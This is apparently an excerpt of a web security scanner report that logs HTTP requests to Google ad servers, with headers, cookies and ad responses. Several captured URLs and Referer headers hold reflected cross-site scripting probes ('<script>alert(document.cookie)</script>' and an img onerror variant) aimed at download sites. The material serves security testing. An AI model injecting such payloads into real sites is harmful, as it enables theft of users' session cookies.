http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296964097&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Ffiles.php%3Fname%3DNslookup&dt=1296942497209&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942497214&frm=0&adk=871793777&ga_vid=1133224394.1296942497&ga_sid=1296942497&ga_hid=1303305330&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=18&xpc=wQo8W3zrV7&p=http%3A//www.filetransit.com

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/TemplateContainer.swf

Request

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296964097&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Ffiles.php%3Fname%3DNslookup&dt=1296942497209&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942497214&frm=0&adk=871793777&ga_vid=1133224394.1296942497&ga_sid=1296942497&ga_hid=1303305330&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=18&xpc=wQo8W3zrV7&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/files.php?name=Nslookup
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 05 Feb 2011 22:24:29 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 11669

<style>body{margin:0;padding:0}</style><div id="google_flash_inline_div" style="position:relative;z-index:1001;width:336px"><div id="google_flash_div" style="position:absolute;left:0px;z-index:1001"><OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="google_flash_obj" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" WIDTH="336" HEIGHT="280"><PARAM NAME=movie VALUE="http://pagead2.googlesyndication.com/pagead/TemplateContainer.swf">
...[SNIP]...
53DImageAd%2526gl%253DUS%26usg%3DAFQjCNFReO5NvxNM9CjS4rXCJof07SqF0w&google_abg_img_url=http%3A//pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png&flash_element_id=google_flash_embed"><EMBED src="http://pagead2.googlesyndication.com/pagead/TemplateContainer.swf" id="google_flash_embed" WIDTH="336" HEIGHT="280" WMODE="opaque" FlashVars="google_xml_addata=%3CTEMPLATE_PARAMETERS%3E%3CNO_CONTAINER_XML/%3E%3CTEMPLATE_WIDTH%3E336%3C/TEMPLATE_WIDTH%3E%3CTEMPLATE_HEIGHT%3E280%3C/TEMPLATE_HEIGHT%3E%3CTEMPLATE_URL%3Ehttp%3A//pagead2.googlesyndication.com/pagead/gadgets/all_V1/all_V1_spec_336_280.swf%3C/TEMPLATE_URL%3E%3CTEMPLATE_AIT_URL%3Ehttp%3A//googleads.g.doubleclick.net/pagead/conversion/%3Fai%3DBgSKzHc5NTaSFGMLilQfR7JGRD-TG3eUBlJOl3xTAjbcBoMIeEAEYASC0t9QHOABQ0_Tsiv______AWDJvrKJkKTQEaABrsmj_gOyARN3d3cuZmlsZXRyYW5zaXQuY29tugEKMzM2eDI4MF9hc8gBBNoBMmh0dHA6Ly93d3cuZmlsZXRyYW5zaXQuY29tL2ZpbGVzLnBocD9uYW1lPU5zbG9va3VwqQJthtyLtsq2PrgCGMgCiOLvB6gDAegDBegD2ALoA6MF6APbAvUDAAAAQA%26amp%3Bsigh%3DUDT5Hnuv69M%26amp%3Blabel%3D_AITNAME_%26amp%3Bvalue%3D_AITVALUE_%3C/TEMPLATE_AIT_URL%3E%3CTEMPLATE_ELEMENT+element_name%3D%22adData%22+index%3D%220%22%3E%3CTEMPLATE_FIELD+field_name%3D%22adName%22%3EVNC+1%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text1%22%3ETeamViewer%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text1Font%22%3Efuturabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color1%22%3E0x118af5%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text2%22%3EFree+Remote+++++++Control+Solution%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text2Font%22%3Efuturabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color2%22%3E0x000000%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text3%22%3ESecure,+easy+and+for+free!%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text3Font%22%3Efuturabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color3%22%3E0x000000%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22clickText%22%3EDownload%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22clickTextFont%22%3Efuturabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color7%22%3E0xffffff%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color6%22%3E0x589935%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22product1%22%3Ehttp%3A//pagead2.googlesyndication.com/pagead/imgad%3Fid%3DCIXLh72m4uSDwQEQcBiCATIIL6DdzUw69b4%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color4%22%3E0xffffff%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color5%22%3E0x118af5%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22displayUrl%22%3Ewww.TeamViewer.com%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22color8%22%3E0xffffff%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22destinationUrl%22%3Ehttp%3A//www.teamviewer.com/start.aspx%3Fpid%3Dgoogle.us.co.vnc_image%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text1FontName%22%3E_futurabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text1FontUrl%22%3Ehttp%3A//pagead2.googlesyndication.com/pagead/imgad%3Fid%3DCKjnz8O_7PmR5wEQ____________ARj___________8BMgjyh-9YaRESxQ%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text2FontName%22%3E_futurabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text2FontUrl%22%3Ehttp%3A//pagead2.googlesyndication.com/pagead/imgad%3Fid%3DCKjnz8O_7PmR5wEQ____________ARj___________8BMgjyh-9YaRESxQ%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text3FontName%22%3E_futurabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22text3FontUrl%22%3Ehttp%3A//pagead2.googlesyndication.com/pagead/imgad%3Fid%3DCKjnz8O_7PmR5wEQ____________ARj___________8BMgjyh-9YaRESxQ%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22clickTextFontName%22%3E_futurabc%3C/TEMPLATE_FIELD%3E%3CTEMPLATE_FIELD+field_name%3D%22clickTextFontUrl%22%3Ehttp%3A//pagead2.googlesyndication.com/pagead/imgad%3Fid%3DCKjnz8O_7PmR5wEQ____________ARj___________8BMgjyh-9YaRESxQ%3C/TEMPLATE_FIELD%3E%3C/TEMPLATE_ELEMENT%3E%3C/TEMPLATE_PARAMETERS%3E&google_width=336&google_height=280&destination_url=http%3A//www.teamviewer.com/start.aspx%3Fpid%3Dgoogle.us.co.vnc_image&display_url=www.TeamViewer.com&google_click_url=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBgSKzHc5NTaSFGMLilQfR7JGRD-TG3eUBlJOl3xTAjbcBoMIeEAEYASC0t9QHOABQ0_Tsiv______AWDJvrKJkKTQEaABrsmj_gOyARN3d3cuZmlsZXRyYW5zaXQuY29tugEKMzM2eDI4MF9hc8gBBNoBMmh0dHA6Ly93d3cuZmlsZXRyYW5zaXQuY29tL2ZpbGVzLnBocD9uYW1lPU5zbG9va3VwqQJthtyLtsq2PrgCGMgCiOLvB6gDAegDBegD2ALoA6MF6APbAvUDAAAAQA%26num%3D1%26sig%3DAGiWqtzAmnXpksxJ1-izMn9WNkyJ7vc71g%26client%3Dca-pub-5112821747420583%26adurl%3D&google_ait_url=http%3A//googleads.g.doubleclick.net/pagead/conversion/%3Fai%3DBgSKzHc5NTaSFGMLilQfR7JGRD-TG3eUBlJOl3xTAjbcBoMIeEAEYASC0t9QHOABQ0_Tsiv______AWDJvrKJkKTQEaABrsmj_gOyARN3d3cuZmlsZXRyYW5zaXQuY29tugEKMzM2eDI4MF9hc8gBBNoBMmh0dHA6Ly93d3cuZmlsZXRyYW5zaXQuY29tL2ZpbGVzLnBocD9uYW1lPU5zbG9va3VwqQJthtyLtsq2PrgCGMgCiOLvB6gDAegDBegD2ALoA6MF6APbAvUDAAAAQA%26sigh%3DUDT5Hnuv69M%26label%3D_AITNAME_%26value%3D_AITVALUE_&google_target_in_new_window=true&google_abg_url=http%3A//www.google.com/url%3Fct%3Dabg%26q%3Dhttps%3A//www.google.com/adsense/support/bin/request.py%253Fcontact%253Dabg_afc%2526url%253Dhttp%3A//www.filetransit.com/files.php%25253Fname%25253DNslookup%2526hl%253Den%2526client%253Dca-pub-5112821747420583%2526adU%253Dwww.TeamViewer.com%2526adT%253DImageAd%2526gl%253DUS%26usg%3DAFQjCNFReO5NvxNM9CjS4rXCJof07SqF0w&google_abg_img_url=http%3A//pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png&flash_element_id=google_flash_embed" TYPE="application/x-shockwave-flash" AllowScriptAccess="always" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED>
...[SNIP]...

20.60. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0081280489252772&format=336x280_as&output=html&h=280&w=336&lmt=1296964060&ad_type=text_image&alt_color=FFFFFF&color_bg=FFFFFF&color_border=FFFFFF&color_link=6DA6E2&color_text=000000&color_url=6DA6E2&flash=10.1.103&url=http%3A%2F%2Fdriverbyte.com%2Fdownload-ga-81845gv-gigabyte-vga-driver_freedownload72968%2522%253E%253Cimg%2520src%253da%2520onerror%253dalert(document.cookie)%253Ea36cb148e37&dt=1296942772958&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942772980&frm=0&adk=1546415748&ga_vid=1705664041.1296942769&ga_sid=1296942769&ga_hid=1273172771&ga_fc=1&ga_wpids=UA-15084858-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F0&fu=0&ifi=1&dtd=M&xpc=e0kEiVHjV0&p=http%3A//driverbyte.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%252522%25253E%25253Cimg%252520src%25253Da%252520onerror%25253Dalert(document.cookie)%25253Ea36cb148e37%26hl%3Den%26client%3Dca-pub-0081280489252772%26adU%3Dwww.pctools.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNF9HOnVkAP8UtZ6H_n5BBVqw3pfYw

Request

GET /pagead/ads?client=ca-pub-0081280489252772&format=336x280_as&output=html&h=280&w=336&lmt=1296964060&ad_type=text_image&alt_color=FFFFFF&color_bg=FFFFFF&color_border=FFFFFF&color_link=6DA6E2&color_text=000000&color_url=6DA6E2&flash=10.1.103&url=http%3A%2F%2Fdriverbyte.com%2Fdownload-ga-81845gv-gigabyte-vga-driver_freedownload72968%2522%253E%253Cimg%2520src%253da%2520onerror%253dalert(document.cookie)%253Ea36cb148e37&dt=1296942772958&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942772980&frm=0&adk=1546415748&ga_vid=1705664041.1296942769&ga_sid=1296942769&ga_hid=1273172771&ga_fc=1&ga_wpids=UA-15084858-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F0&fu=0&ifi=1&dtd=M&xpc=e0kEiVHjV0&p=http%3A//driverbyte.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Ea36cb148e37
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.61. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964099&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942499414&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942499327&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1477141929&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=4&dtd=26&xpc=FhNVTrSBuJ&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/nslookup.html%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.F5.com/Load_Balancing%26adT%3DLoad%2BBalancing%2B101%26adU%3Dwww.UltraDNS.com%26adT%3DReliable%2BDNS%2BServices%26adU%3DRackspaceCloud.com/Managed-Cloud%26adT%3DCloud%2BManaged%2BSupport%26adU%3Dwww.Nominum.com/DNS-Protection%26adT%3DDns%2BSecurity%2BTest%26gl%3DUS&usg=AFQjCNGNbQ9SVvBG5P4xhzwk8c94wy1A5w

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964099&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942499414&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942499327&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1477141929&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=4&dtd=26&xpc=FhNVTrSBuJ&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.62. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965239&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943639602&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943639668&frm=0&adk=871793777&ga_vid=245785467.1296943640&ga_sid=1296943640&ga_hid=2142492519&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=733&xpc=RXi4H1HczE&p=http%3A//www.filetransit.com

The response contains the following link to another domain:

http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.filetransit.com/demo.php%253F6e3f0%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E6896f2e55e7%253D1%26hl%3Den%26client%3Dca-pub-5112821747420583%26adU%3Dwww.AutomationAnywhere.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNELmu-O8O_xsc0mbKqX5sL-XuSfDg

Request

Response

20.63. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965252&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943652258&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943652281&frm=0&adk=871793777&ga_vid=67021654.1296943652&ga_sid=1296943652&ga_hid=914616203&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&eid=36815002&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=80&xpc=SbKz6UFPiZ&p=http%3A//www.filetransit.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.filetransit.com/demo.php%253F6e3f0%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E6896f2e55e7%253D1%26hl%3Den%26client%3Dca-pub-5112821747420583%26adU%3DBomgar.com/Windows-Mobile-Access%26adT%3DAccess%2BWindows%2BMobile%26adU%3Dwww.LogMeIn.com%26adT%3DFree%2BDownload%26gl%3DUS&usg=AFQjCNFP2cW3gDqLN5z769bHh3kvt00j4w

Request

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965252&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943652258&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943652281&frm=0&adk=871793777&ga_vid=67021654.1296943652&ga_sid=1296943652&ga_hid=914616203&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&eid=36815002&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=80&xpc=SbKz6UFPiZ&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6896f2e55e7=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.64. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964141&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942541112&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942541039&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1376755848&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=4&dtd=7&xpc=ih9cNEyAqE&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/nslookup.html%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.Moxiesoft.com%26adT%3DMoxie%2BLive%2BChat%2BSolutions%26adU%3Dwww.F5.com/Load_Balancing%26adT%3DLoad%2BBalancing%2B101%26adU%3Dwww.UltraDNS.com%26adT%3DReliable%2BDNS%2BServices%26adU%3DRackspaceCloud.com/Managed-Cloud%26adT%3DCloud%2BManaged%2BSupport%26gl%3DUS&usg=AFQjCNGjSZ7GL1oHLyvVN2H1dfGAVi5I5g

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964141&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942541112&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942541039&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1376755848&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=4&dtd=7&xpc=ih9cNEyAqE&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.65. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9271629784327781&output=html&h=280&slotname=7244137567&w=336&lmt=1296964093&flash=10.1.103&url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&dt=1296942493217&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942493219&frm=0&adk=502925297&ga_vid=1765803017.1296942493&ga_sid=1296942493&ga_hid=700410190&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=1&dtd=222&xpc=I9jArVQZmY&p=http%3A//www.download32.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.downlinx.com/nslookup-software.html%26hl%3Den%26client%3Dca-pub-9271629784327781%26adU%3Dwww.google.com/apps/business%26adT%3DSwitch%2Bto%2BGoogle%2BApps%26adU%3Dwww.AdvancedMD.com/Billing-Software%26adT%3DMedical%2BBilling%2BSoftware%26adU%3Dwww.Moxiesoft.com%26adT%3DMoxie%2BLive%2BChat%2BSolutions%26adU%3DGoDaddy.com%26adT%3DGoDaddy%2B%25247.99%2B.COM%2526%252339%253Bs%26gl%3DUS&usg=AFQjCNGwXi8Ie1kmT46nmlDbfwBUe6EGgw

Request

